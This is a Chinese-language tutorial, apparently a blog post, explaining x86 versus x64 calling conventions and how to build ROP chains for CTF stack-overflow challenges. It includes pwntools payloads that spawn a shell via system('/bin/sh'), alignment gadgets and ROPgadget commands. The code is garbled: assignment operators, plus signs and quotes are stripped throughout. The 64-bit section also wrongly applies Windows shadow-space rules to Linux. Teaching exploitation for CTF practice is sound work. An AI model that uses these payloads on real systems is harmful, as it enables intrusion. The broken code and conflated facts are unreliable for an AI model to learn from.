x86与x64函数调用约定及ROP链构造实战

发布时间:2026/10/15 8:38:50
x86与x64函数调用约定及ROP链构造实战
1. 二进制安全入门必修课理解函数调用约定第一次接触PWN题时很多人会在函数传参这个基础环节栽跟头。记得我当初用32位EXP去打64位程序时那种参数死活传不对的绝望感至今难忘。本文将用实战案例带你彻底掌握x86和x64架构下函数调用的底层差异。函数调用约定Calling Convention决定了参数如何传递、栈帧如何构建。在二进制漏洞利用中这直接关系到ROP链构造、栈溢出布局等核心技巧。不同架构的主要差异体现在32位程序完全依赖栈传递参数64位程序优先使用寄存器传参调用前后栈平衡规则不同2. 32位程序传参机制详解2.1 经典栈传参模式在x86架构下所有参数都通过栈来传递。假设我们反编译看到以下函数调用void vulnerable(char *buf) { char local[40]; strcpy(local, buf); // 典型的栈溢出点 }对应的汇编代码会是这样push ebp ; 保存旧栈帧 mov ebp, esp ; 建立新栈帧 sub esp, 0x28 ; 分配局部变量空间 push [ebp8] ; 参数buf压栈 lea eax, [ebp-0x28] push eax ; local变量地址压栈 call strcpy ; 调用函数 add esp, 8 ; 调用者负责平衡栈关键特征参数从右向左依次压栈调用者(caller)负责清理参数栈空间返回值存放在EAX寄存器2.2 栈帧结构可视化典型的32位函数调用栈布局如下假设调用func(1,2,3)栈地址内容说明esp0返回地址call指令下一条指令地址esp4参数1 (3)最右边的参数先入栈esp8参数2 (2)esp12参数3 (1)最左边的参数最后入栈ebp-0x10局部变量函数内部使用的变量重要提示在构造栈溢出payload时必须严格按照这个顺序覆盖返回地址和参数。比如要调用system(/bin/sh)就需要先覆盖返回地址然后是system的返回地址可填垃圾数据最后才是字符串地址。3. 64位程序传参规则演变3.1 寄存器优先的传参方式x64架构对调用约定进行了重大优化前六个参数通过寄存器传递参数顺序整数/指针类型浮点类型第1参数RDIXMM0第2参数RSIXMM1第3参数RDXXMM2第4参数RCXXMM3第5参数R8XMM4第6参数R9XMM5超过6个的参数才会使用栈传递。我们看个实际例子void example(int a, int b, int c, int d, int e, int f, int g) { // 函数体 }对应的调用汇编mov edi, 1 ; a1 mov esi, 2 ; b2 mov edx, 3 ; c3 mov ecx, 4 ; d4 mov r8d, 5 ; e5 mov r9d, 6 ; f6 push 7 ; g7 通过栈传递 call example add rsp, 8 ; 平衡栈3.2 栈空间的特殊要求64位调用约定还有个容易被忽视的特点调用时栈指针rsp必须16字节对齐。这意味着即使只传递一个参数也需要预留影子空间sub rsp, 0x20 ; 预留32字节空间(保持16字节对齐) mov rdi, [rbp-0x10] ; 参数设置 call function add rsp, 0x20 ; 恢复栈4. 两种架构下的ROP构造差异4.1 32位ROP链构建要点以调用system(/bin/sh)为例典型payload结构[垃圾数据填充缓冲区的40字节] [system函数地址] [返回地址(可填exit地址)] [/bin/sh字符串地址]对应的Python代码示例from pwn import * context(archi386, oslinux) offset 40 payload flat( bA*offset, 0x08048320, # systemplt 0xdeadbeef, # 返回地址 0x0804a024 # /bin/sh字符串地址 )4.2 64位ROP链的特殊处理64位下需要通过寄存器传参因此需要先设置rdi寄存器。典型利用方式[填充缓冲区的40字节] [pop rdi; ret gadget地址] [/bin/sh字符串地址] [system函数地址]对应的Python实现from pwn import * context(archamd64, oslinux) offset 40 payload flat( bA*offset, 0x4005a3, # pop rdi; ret 0x4006d8, # /bin/sh 0x4004e0 # systemplt )5. 实战中的常见坑点5.1 调用约定混淆错误最常见的问题就是搞混架构类型。症状包括在64位程序中使用32位payload构造方式忘记设置rdi寄存器直接调用函数没有预留足够的栈空间导致段错误调试技巧# 检查程序架构 file ./vuln_binary # GDB中观察寄存器变化 break *0x400567 commands info registers x/10x $rsp continue end5.2 栈对齐问题处理在64位环境下如果遇到神秘的段错误很可能是栈对齐问题。解决方法在ROP链中插入调整rsp的gadget保持payload总长度是8的倍数必要时添加ret指令来微调示例调整gadget... 0x400123, # 原始返回地址 0x40056b, # ret指令(用于对齐) 0x4005a3, # pop rdi; ret ...6. 不同编译器的特殊处理6.1 Windows平台的差异虽然本文主要讨论Linux环境但值得注意Windows x64调用约定的不同前四个参数用RCX、RDX、R8、R9传递调用者必须预留32字节影子空间浮点参数使用XMM0-XMM36.2 编译器优化影响高优化级别可能导致参数传递方式变化部分参数可能直接优化掉栈帧结构改变如省略帧指针内联函数导致调用约定不可见应对策略使用-O0编译测试程序进行调试结合反汇编和源码分析关注实际寄存器/栈的变化而非理论约定7. 自动化工具辅助分析7.1 pwntools的架构感知pwntools可以自动处理部分架构差异context.update(archamd64, oslinux) # 自动适配当前架构的调用约定 payload flat( A*offset, elf.plt[system], next(elf.search(b/bin/sh\x00)) )7.2 ROPgadget的高级用法查找特定架构的gadget# 32位下查找pop链 ROPgadget --binary vuln32 --only pop|ret # 64位下查找参数设置gadget ROPgadget --binary vuln64 --only pop rdi|ret8. 从理论到实践的提升建议使用不同架构编译相同代码对比反汇编结果gcc -m32 -o test32 test.c gcc -m64 -o test64 test.c objdump -d test32 disasm32 objdump -d test64 disasm64在GDB中单步跟踪函数调用过程观察寄存器/栈变化尝试用两种架构分别编写相同的漏洞利用代码分析真实CTF赛题中的历史漏洞如pwnable.kr的fd题是经典32位案例